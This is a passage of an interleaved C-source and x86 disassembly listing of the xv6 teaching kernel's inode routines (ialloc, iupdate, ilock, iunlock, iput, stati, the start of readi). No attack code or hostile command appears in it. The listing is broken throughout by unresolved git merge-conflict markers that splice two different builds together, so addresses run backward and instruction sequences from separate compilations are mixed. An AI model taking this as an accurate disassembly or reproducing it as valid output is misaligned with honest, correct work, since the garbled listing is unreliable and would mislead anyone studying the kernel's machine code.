80101550: 89 14 24 mov %edx,(%esp)
{
int inum;
struct buf *bp;
struct dinode *dip;
for(inum = 1; inum < sb.ninodes; inum++){
80101553: 83 c3 01 add $0x1,%ebx
dip->type = type;
log_write(bp); // mark it allocated on the disk
brelse(bp);
return iget(dev, inum);
}
brelse(bp);
80101556: e8 85 ec ff ff call 801001e0 <brelse>
{
int inum;
struct buf *bp;
struct dinode *dip;
for(inum = 1; inum < sb.ninodes; inum++){
8010155b: 89 de mov %ebx,%esi
8010155d: 3b 1d e8 09 11 80 cmp 0x801109e8,%ebx
80101563: 73 7c jae 801015e1 <ialloc+0xc1>
bp = bread(dev, IBLOCK(inum, sb));
80101565: 89 f0 mov %esi,%eax
80101567: c1 e8 03 shr $0x3,%eax
8010156a: 03 05 f4 09 11 80 add 0x801109f4,%eax
80101570: 89 3c 24 mov %edi,(%esp)
80101573: 89 44 24 04 mov %eax,0x4(%esp)
80101577: e8 54 eb ff ff call 801000d0 <bread>
8010157c: 89 c2 mov %eax,%edx
dip = (struct dinode*)bp->data + inum%IPB;
8010157e: 89 f0 mov %esi,%eax
80101580: 83 e0 07 and $0x7,%eax
80101583: c1 e0 06 shl $0x6,%eax
80101586: 8d 4c 02 5c lea 0x5c(%edx,%eax,1),%ecx
if(dip->type == 0){ // a free inode
8010158a: 66 83 39 00 cmpw $0x0,(%ecx)
8010158e: 75 c0 jne 80101550 <ialloc+0x30>
memset(dip, 0, sizeof(*dip));
80101590: 89 0c 24 mov %ecx,(%esp)
80101593: c7 44 24 08 40 00 00 movl $0x40,0x8(%esp)
8010159a: 00
8010159b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801015a2: 00
801015a3: 89 55 dc mov %edx,-0x24(%ebp)
801015a6: 89 4d e0 mov %ecx,-0x20(%ebp)
801015a9: e8 52 2f 00 00 call 80104500 <memset>
dip->type = type;
801015ae: 0f b7 45 e4 movzwl -0x1c(%ebp),%eax
log_write(bp); // mark it allocated on the disk
801015b2: 8b 55 dc mov -0x24(%ebp),%edx
for(inum = 1; inum < sb.ninodes; inum++){
bp = bread(dev, IBLOCK(inum, sb));
dip = (struct dinode*)bp->data + inum%IPB;
if(dip->type == 0){ // a free inode
memset(dip, 0, sizeof(*dip));
dip->type = type;
801015b5: 8b 4d e0 mov -0x20(%ebp),%ecx
log_write(bp); // mark it allocated on the disk
801015b8: 89 55 e4 mov %edx,-0x1c(%ebp)
for(inum = 1; inum < sb.ninodes; inum++){
bp = bread(dev, IBLOCK(inum, sb));
dip = (struct dinode*)bp->data + inum%IPB;
if(dip->type == 0){ // a free inode
memset(dip, 0, sizeof(*dip));
<<<<<<< HEAD
80101553: 83 ec 04 sub $0x4,%esp
80101556: 89 4d e0 mov %ecx,-0x20(%ebp)
80101559: 6a 40 push $0x40
8010155b: 6a 00 push $0x0
8010155d: 51 push %ecx
8010155e: e8 dd 31 00 00 call 80104740 <memset>
=======
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
dip->type = type;
801015bb: 66 89 01 mov %ax,(%ecx)
log_write(bp); // mark it allocated on the disk
801015be: 89 14 24 mov %edx,(%esp)
801015c1: e8 5a 17 00 00 call 80102d20 <log_write>
brelse(bp);
801015c6: 8b 55 e4 mov -0x1c(%ebp),%edx
801015c9: 89 14 24 mov %edx,(%esp)
801015cc: e8 0f ec ff ff call 801001e0 <brelse>
return iget(dev, inum);
}
brelse(bp);
}
panic("ialloc: no inodes");
}
801015d1: 83 c4 2c add $0x2c,%esp
if(dip->type == 0){ // a free inode
memset(dip, 0, sizeof(*dip));
dip->type = type;
log_write(bp); // mark it allocated on the disk
brelse(bp);
return iget(dev, inum);
801015d4: 89 f2 mov %esi,%edx
}
brelse(bp);
}
panic("ialloc: no inodes");
}
801015d6: 5b pop %ebx
if(dip->type == 0){ // a free inode
memset(dip, 0, sizeof(*dip));
dip->type = type;
log_write(bp); // mark it allocated on the disk
brelse(bp);
return iget(dev, inum);
801015d7: 89 f8 mov %edi,%eax
}
brelse(bp);
}
panic("ialloc: no inodes");
}
801015d9: 5e pop %esi
801015da: 5f pop %edi
801015db: 5d pop %ebp
if(dip->type == 0){ // a free inode
memset(dip, 0, sizeof(*dip));
dip->type = type;
log_write(bp); // mark it allocated on the disk
brelse(bp);
return iget(dev, inum);
801015dc: e9 2f fc ff ff jmp 80101210 <iget>
}
brelse(bp);
}
panic("ialloc: no inodes");
<<<<<<< HEAD
80101590: 83 ec 0c sub $0xc,%esp
80101593: 68 54 74 10 80 push $0x80107454
80101598: e8 d3 ed ff ff call 80100370 <panic>
8010159d: 8d 76 00 lea 0x0(%esi),%esi
=======
801015e1: c7 04 24 d4 71 10 80 movl $0x801071d4,(%esp)
801015e8: e8 73 ed ff ff call 80100360 <panic>
801015ed: 8d 76 00 lea 0x0(%esi),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
801015f0 <iupdate>:
}
// Copy a modified in-memory inode to disk.
void
iupdate(struct inode *ip)
{
801015f0: 55 push %ebp
801015f1: 89 e5 mov %esp,%ebp
801015f3: 56 push %esi
801015f4: 53 push %ebx
801015f5: 83 ec 10 sub $0x10,%esp
801015f8: 8b 5d 08 mov 0x8(%ebp),%ebx
struct buf *bp;
struct dinode *dip;
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
801015fb: 8b 43 04 mov 0x4(%ebx),%eax
dip->type = ip->type;
dip->major = ip->major;
dip->minor = ip->minor;
dip->nlink = ip->nlink;
dip->size = ip->size;
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
801015fe: 83 c3 5c add $0x5c,%ebx
iupdate(struct inode *ip)
{
struct buf *bp;
struct dinode *dip;
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
80101601: c1 e8 03 shr $0x3,%eax
80101604: 03 05 f4 09 11 80 add 0x801109f4,%eax
8010160a: 89 44 24 04 mov %eax,0x4(%esp)
8010160e: 8b 43 a4 mov -0x5c(%ebx),%eax
80101611: 89 04 24 mov %eax,(%esp)
80101614: e8 b7 ea ff ff call 801000d0 <bread>
dip = (struct dinode*)bp->data + ip->inum%IPB;
80101619: 8b 53 a8 mov -0x58(%ebx),%edx
8010161c: 83 e2 07 and $0x7,%edx
8010161f: c1 e2 06 shl $0x6,%edx
80101622: 8d 54 10 5c lea 0x5c(%eax,%edx,1),%edx
iupdate(struct inode *ip)
{
struct buf *bp;
struct dinode *dip;
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
80101626: 89 c6 mov %eax,%esi
dip = (struct dinode*)bp->data + ip->inum%IPB;
dip->type = ip->type;
80101628: 0f b7 43 f4 movzwl -0xc(%ebx),%eax
dip->major = ip->major;
dip->minor = ip->minor;
dip->nlink = ip->nlink;
dip->size = ip->size;
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
8010162c: 83 c2 0c add $0xc,%edx
struct buf *bp;
struct dinode *dip;
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
dip = (struct dinode*)bp->data + ip->inum%IPB;
dip->type = ip->type;
8010162f: 66 89 42 f4 mov %ax,-0xc(%edx)
dip->major = ip->major;
80101633: 0f b7 43 f6 movzwl -0xa(%ebx),%eax
80101637: 66 89 42 f6 mov %ax,-0xa(%edx)
dip->minor = ip->minor;
8010163b: 0f b7 43 f8 movzwl -0x8(%ebx),%eax
8010163f: 66 89 42 f8 mov %ax,-0x8(%edx)
dip->nlink = ip->nlink;
80101643: 0f b7 43 fa movzwl -0x6(%ebx),%eax
80101647: 66 89 42 fa mov %ax,-0x6(%edx)
dip->size = ip->size;
8010164b: 8b 43 fc mov -0x4(%ebx),%eax
8010164e: 89 42 fc mov %eax,-0x4(%edx)
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
<<<<<<< HEAD
801015fd: 6a 34 push $0x34
801015ff: 53 push %ebx
80101600: 50 push %eax
80101601: e8 ea 31 00 00 call 801047f0 <memmove>
=======
80101651: 89 5c 24 04 mov %ebx,0x4(%esp)
80101655: 89 14 24 mov %edx,(%esp)
80101658: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp)
8010165f: 00
80101660: e8 3b 2f 00 00 call 801045a0 <memmove>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
log_write(bp);
80101665: 89 34 24 mov %esi,(%esp)
80101668: e8 b3 16 00 00 call 80102d20 <log_write>
brelse(bp);
8010166d: 89 75 08 mov %esi,0x8(%ebp)
}
80101670: 83 c4 10 add $0x10,%esp
80101673: 5b pop %ebx
80101674: 5e pop %esi
80101675: 5d pop %ebp
dip->minor = ip->minor;
dip->nlink = ip->nlink;
dip->size = ip->size;
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
log_write(bp);
brelse(bp);
80101676: e9 65 eb ff ff jmp 801001e0 <brelse>
8010167b: 90 nop
8010167c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101680 <idup>:
// Increment reference count for ip.
// Returns ip to enable ip = idup(ip1) idiom.
struct inode*
idup(struct inode *ip)
{
80101680: 55 push %ebp
80101681: 89 e5 mov %esp,%ebp
80101683: 53 push %ebx
80101684: 83 ec 14 sub $0x14,%esp
80101687: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&icache.lock);
<<<<<<< HEAD
8010162a: 68 00 0a 11 80 push $0x80110a00
8010162f: e8 dc 2e 00 00 call 80104510 <acquire>
=======
8010168a: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
80101691: e8 ea 2c 00 00 call 80104380 <acquire>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
ip->ref++;
80101696: 83 43 08 01 addl $0x1,0x8(%ebx)
release(&icache.lock);
<<<<<<< HEAD
80101638: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
8010163f: e8 ac 30 00 00 call 801046f0 <release>
=======
8010169a: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
801016a1: e8 0a 2e 00 00 call 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
return ip;
}
801016a6: 83 c4 14 add $0x14,%esp
801016a9: 89 d8 mov %ebx,%eax
801016ab: 5b pop %ebx
801016ac: 5d pop %ebp
801016ad: c3 ret
801016ae: 66 90 xchg %ax,%ax
801016b0 <ilock>:
// Lock the given inode.
// Reads the inode from disk if necessary.
void
ilock(struct inode *ip)
{
801016b0: 55 push %ebp
801016b1: 89 e5 mov %esp,%ebp
801016b3: 56 push %esi
801016b4: 53 push %ebx
801016b5: 83 ec 10 sub $0x10,%esp
801016b8: 8b 5d 08 mov 0x8(%ebp),%ebx
struct buf *bp;
struct dinode *dip;
if(ip == 0 || ip->ref < 1)
801016bb: 85 db test %ebx,%ebx
801016bd: 0f 84 b0 00 00 00 je 80101773 <ilock+0xc3>
801016c3: 8b 43 08 mov 0x8(%ebx),%eax
801016c6: 85 c0 test %eax,%eax
801016c8: 0f 8e a5 00 00 00 jle 80101773 <ilock+0xc3>
panic("ilock");
acquiresleep(&ip->lock);
<<<<<<< HEAD
8010166b: 8d 43 0c lea 0xc(%ebx),%eax
8010166e: 83 ec 0c sub $0xc,%esp
80101671: 50 push %eax
80101672: e8 a9 2d 00 00 call 80104420 <acquiresleep>
=======
801016ce: 8d 43 0c lea 0xc(%ebx),%eax
801016d1: 89 04 24 mov %eax,(%esp)
801016d4: e8 57 2b 00 00 call 80104230 <acquiresleep>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(!(ip->flags & I_VALID)){
801016d9: f6 43 4c 02 testb $0x2,0x4c(%ebx)
801016dd: 74 09 je 801016e8 <ilock+0x38>
brelse(bp);
ip->flags |= I_VALID;
if(ip->type == 0)
panic("ilock: no type");
}
}
801016df: 83 c4 10 add $0x10,%esp
801016e2: 5b pop %ebx
801016e3: 5e pop %esi
801016e4: 5d pop %ebp
801016e5: c3 ret
801016e6: 66 90 xchg %ax,%ax
panic("ilock");
acquiresleep(&ip->lock);
if(!(ip->flags & I_VALID)){
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
801016e8: 8b 43 04 mov 0x4(%ebx),%eax
801016eb: c1 e8 03 shr $0x3,%eax
801016ee: 03 05 f4 09 11 80 add 0x801109f4,%eax
801016f4: 89 44 24 04 mov %eax,0x4(%esp)
801016f8: 8b 03 mov (%ebx),%eax
801016fa: 89 04 24 mov %eax,(%esp)
801016fd: e8 ce e9 ff ff call 801000d0 <bread>
dip = (struct dinode*)bp->data + ip->inum%IPB;
80101702: 8b 53 04 mov 0x4(%ebx),%edx
80101705: 83 e2 07 and $0x7,%edx
80101708: c1 e2 06 shl $0x6,%edx
8010170b: 8d 54 10 5c lea 0x5c(%eax,%edx,1),%edx
panic("ilock");
acquiresleep(&ip->lock);
if(!(ip->flags & I_VALID)){
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
8010170f: 89 c6 mov %eax,%esi
dip = (struct dinode*)bp->data + ip->inum%IPB;
ip->type = dip->type;
80101711: 0f b7 02 movzwl (%edx),%eax
ip->major = dip->major;
ip->minor = dip->minor;
ip->nlink = dip->nlink;
ip->size = dip->size;
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
80101714: 83 c2 0c add $0xc,%edx
acquiresleep(&ip->lock);
if(!(ip->flags & I_VALID)){
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
dip = (struct dinode*)bp->data + ip->inum%IPB;
ip->type = dip->type;
80101717: 66 89 43 50 mov %ax,0x50(%ebx)
ip->major = dip->major;
8010171b: 0f b7 42 f6 movzwl -0xa(%edx),%eax
8010171f: 66 89 43 52 mov %ax,0x52(%ebx)
ip->minor = dip->minor;
80101723: 0f b7 42 f8 movzwl -0x8(%edx),%eax
80101727: 66 89 43 54 mov %ax,0x54(%ebx)
ip->nlink = dip->nlink;
8010172b: 0f b7 42 fa movzwl -0x6(%edx),%eax
8010172f: 66 89 43 56 mov %ax,0x56(%ebx)
ip->size = dip->size;
80101733: 8b 42 fc mov -0x4(%edx),%eax
80101736: 89 43 58 mov %eax,0x58(%ebx)
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
<<<<<<< HEAD
801016e1: 6a 34 push $0x34
801016e3: 50 push %eax
801016e4: 8d 43 5c lea 0x5c(%ebx),%eax
801016e7: 50 push %eax
801016e8: e8 03 31 00 00 call 801047f0 <memmove>
=======
80101739: 8d 43 5c lea 0x5c(%ebx),%eax
8010173c: 89 54 24 04 mov %edx,0x4(%esp)
80101740: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp)
80101747: 00
80101748: 89 04 24 mov %eax,(%esp)
8010174b: e8 50 2e 00 00 call 801045a0 <memmove>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
brelse(bp);
80101750: 89 34 24 mov %esi,(%esp)
80101753: e8 88 ea ff ff call 801001e0 <brelse>
ip->flags |= I_VALID;
80101758: 83 4b 4c 02 orl $0x2,0x4c(%ebx)
if(ip->type == 0)
8010175c: 66 83 7b 50 00 cmpw $0x0,0x50(%ebx)
80101761: 0f 85 78 ff ff ff jne 801016df <ilock+0x2f>
panic("ilock: no type");
<<<<<<< HEAD
80101707: 83 ec 0c sub $0xc,%esp
8010170a: 68 6c 74 10 80 push $0x8010746c
8010170f: e8 5c ec ff ff call 80100370 <panic>
=======
80101767: c7 04 24 ec 71 10 80 movl $0x801071ec,(%esp)
8010176e: e8 ed eb ff ff call 80100360 <panic>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
{
struct buf *bp;
struct dinode *dip;
if(ip == 0 || ip->ref < 1)
panic("ilock");
<<<<<<< HEAD
80101714: 83 ec 0c sub $0xc,%esp
80101717: 68 66 74 10 80 push $0x80107466
8010171c: e8 4f ec ff ff call 80100370 <panic>
80101721: eb 0d jmp 80101730 <iunlock>
80101723: 90 nop
80101724: 90 nop
80101725: 90 nop
80101726: 90 nop
80101727: 90 nop
80101728: 90 nop
80101729: 90 nop
8010172a: 90 nop
8010172b: 90 nop
8010172c: 90 nop
8010172d: 90 nop
8010172e: 90 nop
8010172f: 90 nop
80101730 <iunlock>:
=======
80101773: c7 04 24 e6 71 10 80 movl $0x801071e6,(%esp)
8010177a: e8 e1 eb ff ff call 80100360 <panic>
8010177f: 90 nop
80101780 <iunlock>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
// Unlock the given inode.
void
iunlock(struct inode *ip)
{
80101780: 55 push %ebp
80101781: 89 e5 mov %esp,%ebp
80101783: 56 push %esi
80101784: 53 push %ebx
80101785: 83 ec 10 sub $0x10,%esp
80101788: 8b 5d 08 mov 0x8(%ebp),%ebx
if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1)
<<<<<<< HEAD
80101738: 85 db test %ebx,%ebx
8010173a: 74 28 je 80101764 <iunlock+0x34>
8010173c: 8d 73 0c lea 0xc(%ebx),%esi
8010173f: 83 ec 0c sub $0xc,%esp
80101742: 56 push %esi
80101743: e8 78 2d 00 00 call 801044c0 <holdingsleep>
80101748: 83 c4 10 add $0x10,%esp
8010174b: 85 c0 test %eax,%eax
8010174d: 74 15 je 80101764 <iunlock+0x34>
8010174f: 8b 43 08 mov 0x8(%ebx),%eax
80101752: 85 c0 test %eax,%eax
80101754: 7e 0e jle 80101764 <iunlock+0x34>
=======
8010178b: 85 db test %ebx,%ebx
8010178d: 74 24 je 801017b3 <iunlock+0x33>
8010178f: 8d 73 0c lea 0xc(%ebx),%esi
80101792: 89 34 24 mov %esi,(%esp)
80101795: e8 36 2b 00 00 call 801042d0 <holdingsleep>
8010179a: 85 c0 test %eax,%eax
8010179c: 74 15 je 801017b3 <iunlock+0x33>
8010179e: 8b 43 08 mov 0x8(%ebx),%eax
801017a1: 85 c0 test %eax,%eax
801017a3: 7e 0e jle 801017b3 <iunlock+0x33>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
panic("iunlock");
releasesleep(&ip->lock);
801017a5: 89 75 08 mov %esi,0x8(%ebp)
}
801017a8: 83 c4 10 add $0x10,%esp
801017ab: 5b pop %ebx
801017ac: 5e pop %esi
801017ad: 5d pop %ebp
iunlock(struct inode *ip)
{
if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1)
panic("iunlock");
releasesleep(&ip->lock);
<<<<<<< HEAD
8010175f: e9 1c 2d 00 00 jmp 80104480 <releasesleep>
=======
801017ae: e9 dd 2a 00 00 jmp 80104290 <releasesleep>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Unlock the given inode.
void
iunlock(struct inode *ip)
{
if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1)
panic("iunlock");
<<<<<<< HEAD
80101764: 83 ec 0c sub $0xc,%esp
80101767: 68 7b 74 10 80 push $0x8010747b
8010176c: e8 ff eb ff ff call 80100370 <panic>
80101771: eb 0d jmp 80101780 <iput>
80101773: 90 nop
80101774: 90 nop
80101775: 90 nop
80101776: 90 nop
80101777: 90 nop
80101778: 90 nop
80101779: 90 nop
8010177a: 90 nop
8010177b: 90 nop
8010177c: 90 nop
8010177d: 90 nop
8010177e: 90 nop
8010177f: 90 nop
=======
801017b3: c7 04 24 fb 71 10 80 movl $0x801071fb,(%esp)
801017ba: e8 a1 eb ff ff call 80100360 <panic>
801017bf: 90 nop
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
801017c0 <iput>:
// to it, free the inode (and its content) on disk.
// All calls to iput() must be inside a transaction in
// case it has to free the inode.
void
iput(struct inode *ip)
{
801017c0: 55 push %ebp
801017c1: 89 e5 mov %esp,%ebp
801017c3: 57 push %edi
801017c4: 56 push %esi
801017c5: 53 push %ebx
801017c6: 83 ec 1c sub $0x1c,%esp
801017c9: 8b 75 08 mov 0x8(%ebp),%esi
acquire(&icache.lock);
<<<<<<< HEAD
8010178c: 68 00 0a 11 80 push $0x80110a00
80101791: e8 7a 2d 00 00 call 80104510 <acquire>
=======
801017cc: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
801017d3: e8 a8 2b 00 00 call 80104380 <acquire>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(ip->ref == 1 && (ip->flags & I_VALID) && ip->nlink == 0){
801017d8: 8b 46 08 mov 0x8(%esi),%eax
801017db: 83 f8 01 cmp $0x1,%eax
801017de: 74 20 je 80101800 <iput+0x40>
ip->type = 0;
iupdate(ip);
acquire(&icache.lock);
ip->flags = 0;
}
ip->ref--;
801017e0: 83 e8 01 sub $0x1,%eax
801017e3: 89 46 08 mov %eax,0x8(%esi)
release(&icache.lock);
801017e6: c7 45 08 00 0a 11 80 movl $0x80110a00,0x8(%ebp)
}
801017ed: 83 c4 1c add $0x1c,%esp
801017f0: 5b pop %ebx
801017f1: 5e pop %esi
801017f2: 5f pop %edi
801017f3: 5d pop %ebp
iupdate(ip);
acquire(&icache.lock);
ip->flags = 0;
}
ip->ref--;
release(&icache.lock);
<<<<<<< HEAD
801017b5: e9 36 2f 00 00 jmp 801046f0 <release>
801017ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
=======
801017f4: e9 b7 2c 00 00 jmp 801044b0 <release>
801017f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// case it has to free the inode.
void
iput(struct inode *ip)
{
acquire(&icache.lock);
if(ip->ref == 1 && (ip->flags & I_VALID) && ip->nlink == 0){
80101800: f6 46 4c 02 testb $0x2,0x4c(%esi)
80101804: 74 da je 801017e0 <iput+0x20>
80101806: 66 83 7e 56 00 cmpw $0x0,0x56(%esi)
8010180b: 75 d3 jne 801017e0 <iput+0x20>
// inode has no links and no other references: truncate and free.
release(&icache.lock);
<<<<<<< HEAD
801017cd: 83 ec 0c sub $0xc,%esp
801017d0: 8d 5e 5c lea 0x5c(%esi),%ebx
801017d3: 8d be 8c 00 00 00 lea 0x8c(%esi),%edi
801017d9: 68 00 0a 11 80 push $0x80110a00
801017de: e8 0d 2f 00 00 call 801046f0 <release>
801017e3: 83 c4 10 add $0x10,%esp
801017e6: eb 0f jmp 801017f7 <iput+0x77>
801017e8: 90 nop
801017e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801017f0: 83 c3 04 add $0x4,%ebx
=======
8010180d: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
80101814: 89 f3 mov %esi,%ebx
80101816: e8 95 2c 00 00 call 801044b0 <release>
8010181b: 8d 7e 30 lea 0x30(%esi),%edi
8010181e: eb 07 jmp 80101827 <iput+0x67>
80101820: 83 c3 04 add $0x4,%ebx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
{
int i, j;
struct buf *bp;
uint *a;
for(i = 0; i < NDIRECT; i++){
80101823: 39 fb cmp %edi,%ebx
80101825: 74 19 je 80101840 <iput+0x80>
if(ip->addrs[i]){
80101827: 8b 53 5c mov 0x5c(%ebx),%edx
8010182a: 85 d2 test %edx,%edx
8010182c: 74 f2 je 80101820 <iput+0x60>
bfree(ip->dev, ip->addrs[i]);
8010182e: 8b 06 mov (%esi),%eax
80101830: e8 ab fb ff ff call 801013e0 <bfree>
ip->addrs[i] = 0;
80101835: c7 43 5c 00 00 00 00 movl $0x0,0x5c(%ebx)
8010183c: eb e2 jmp 80101820 <iput+0x60>
8010183e: 66 90 xchg %ax,%ax
}
}
if(ip->addrs[NDIRECT]){
80101840: 8b 86 8c 00 00 00 mov 0x8c(%esi),%eax
80101846: 85 c0 test %eax,%eax
80101848: 75 3e jne 80101888 <iput+0xc8>
brelse(bp);
bfree(ip->dev, ip->addrs[NDIRECT]);
ip->addrs[NDIRECT] = 0;
}
ip->size = 0;
8010184a: c7 46 58 00 00 00 00 movl $0x0,0x58(%esi)
iupdate(ip);
80101851: 89 34 24 mov %esi,(%esp)
80101854: e8 97 fd ff ff call 801015f0 <iupdate>
acquire(&icache.lock);
if(ip->ref == 1 && (ip->flags & I_VALID) && ip->nlink == 0){
// inode has no links and no other references: truncate and free.
release(&icache.lock);
itrunc(ip);
ip->type = 0;
80101859: 31 c0 xor %eax,%eax
8010185b: 66 89 46 50 mov %ax,0x50(%esi)
iupdate(ip);
8010185f: 89 34 24 mov %esi,(%esp)
80101862: e8 89 fd ff ff call 801015f0 <iupdate>
acquire(&icache.lock);
<<<<<<< HEAD
80101838: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
8010183f: e8 cc 2c 00 00 call 80104510 <acquire>
=======
80101867: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
8010186e: e8 0d 2b 00 00 call 80104380 <acquire>
80101873: 8b 46 08 mov 0x8(%esi),%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
ip->flags = 0;
80101876: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi)
8010187d: e9 5e ff ff ff jmp 801017e0 <iput+0x20>
80101882: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
ip->addrs[i] = 0;
}
}
if(ip->addrs[NDIRECT]){
bp = bread(ip->dev, ip->addrs[NDIRECT]);
80101888: 89 44 24 04 mov %eax,0x4(%esp)
8010188c: 8b 06 mov (%esi),%eax
a = (uint*)bp->data;
for(j = 0; j < NINDIRECT; j++){
8010188e: 31 db xor %ebx,%ebx
ip->addrs[i] = 0;
}
}
if(ip->addrs[NDIRECT]){
bp = bread(ip->dev, ip->addrs[NDIRECT]);
80101890: 89 04 24 mov %eax,(%esp)
80101893: e8 38 e8 ff ff call 801000d0 <bread>
80101898: 89 45 e4 mov %eax,-0x1c(%ebp)
a = (uint*)bp->data;
8010189b: 8d 78 5c lea 0x5c(%eax),%edi
for(j = 0; j < NINDIRECT; j++){
8010189e: 31 c0 xor %eax,%eax
801018a0: eb 13 jmp 801018b5 <iput+0xf5>
801018a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801018a8: 83 c3 01 add $0x1,%ebx
801018ab: 81 fb 80 00 00 00 cmp $0x80,%ebx
801018b1: 89 d8 mov %ebx,%eax
801018b3: 74 10 je 801018c5 <iput+0x105>
if(a[j])
801018b5: 8b 14 87 mov (%edi,%eax,4),%edx
801018b8: 85 d2 test %edx,%edx
801018ba: 74 ec je 801018a8 <iput+0xe8>
bfree(ip->dev, a[j]);
801018bc: 8b 06 mov (%esi),%eax
801018be: e8 1d fb ff ff call 801013e0 <bfree>
801018c3: eb e3 jmp 801018a8 <iput+0xe8>
}
brelse(bp);
801018c5: 8b 45 e4 mov -0x1c(%ebp),%eax
801018c8: 89 04 24 mov %eax,(%esp)
801018cb: e8 10 e9 ff ff call 801001e0 <brelse>
bfree(ip->dev, ip->addrs[NDIRECT]);
801018d0: 8b 96 8c 00 00 00 mov 0x8c(%esi),%edx
801018d6: 8b 06 mov (%esi),%eax
801018d8: e8 03 fb ff ff call 801013e0 <bfree>
ip->addrs[NDIRECT] = 0;
801018dd: c7 86 8c 00 00 00 00 movl $0x0,0x8c(%esi)
801018e4: 00 00 00
801018e7: e9 5e ff ff ff jmp 8010184a <iput+0x8a>
801018ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801018f0 <iunlockput>:
}
// Common idiom: unlock, then put.
void
iunlockput(struct inode *ip)
{
801018f0: 55 push %ebp
801018f1: 89 e5 mov %esp,%ebp
801018f3: 53 push %ebx
801018f4: 83 ec 14 sub $0x14,%esp
801018f7: 8b 5d 08 mov 0x8(%ebp),%ebx
iunlock(ip);
801018fa: 89 1c 24 mov %ebx,(%esp)
801018fd: e8 7e fe ff ff call 80101780 <iunlock>
iput(ip);
80101902: 89 5d 08 mov %ebx,0x8(%ebp)
}
80101905: 83 c4 14 add $0x14,%esp
80101908: 5b pop %ebx
80101909: 5d pop %ebp
// Common idiom: unlock, then put.
void
iunlockput(struct inode *ip)
{
iunlock(ip);
iput(ip);
8010190a: e9 b1 fe ff ff jmp 801017c0 <iput>
8010190f: 90 nop
80101910 <stati>:
}
// Copy stat information from inode.
void
stati(struct inode *ip, struct stat *st)
{
80101910: 55 push %ebp
80101911: 89 e5 mov %esp,%ebp
80101913: 8b 55 08 mov 0x8(%ebp),%edx
80101916: 8b 45 0c mov 0xc(%ebp),%eax
st->dev = ip->dev;
80101919: 8b 0a mov (%edx),%ecx
8010191b: 89 48 04 mov %ecx,0x4(%eax)
st->ino = ip->inum;
8010191e: 8b 4a 04 mov 0x4(%edx),%ecx
80101921: 89 48 08 mov %ecx,0x8(%eax)
st->type = ip->type;
80101924: 0f b7 4a 50 movzwl 0x50(%edx),%ecx
80101928: 66 89 08 mov %cx,(%eax)
st->nlink = ip->nlink;
8010192b: 0f b7 4a 56 movzwl 0x56(%edx),%ecx
8010192f: 66 89 48 0c mov %cx,0xc(%eax)
st->size = ip->size;
80101933: 8b 52 58 mov 0x58(%edx),%edx
80101936: 89 50 10 mov %edx,0x10(%eax)
}
80101939: 5d pop %ebp
8010193a: c3 ret
8010193b: 90 nop
8010193c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101940 <readi>:
//PAGEBREAK!
// Read data from inode.
int
readi(struct inode *ip, char *dst, uint off, uint n)
{
80101940: 55 push %ebp
80101941: 89 e5 mov %esp,%ebp
80101943: 57 push %edi
80101944: 56 push %esi
80101945: 53 push %ebx
80101946: 83 ec 2c sub $0x2c,%esp
80101949: 8b 45 0c mov 0xc(%ebp),%eax
8010194c: 8b 7d 08 mov 0x8(%ebp),%edi
8010194f: 8b 75 10 mov 0x10(%ebp),%esi
80101952: 89 45 e0 mov %eax,-0x20(%ebp)
80101955: 8b 45 14 mov 0x14(%ebp),%eax
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101958: 66 83 7f 50 03 cmpw $0x3,0x50(%edi)
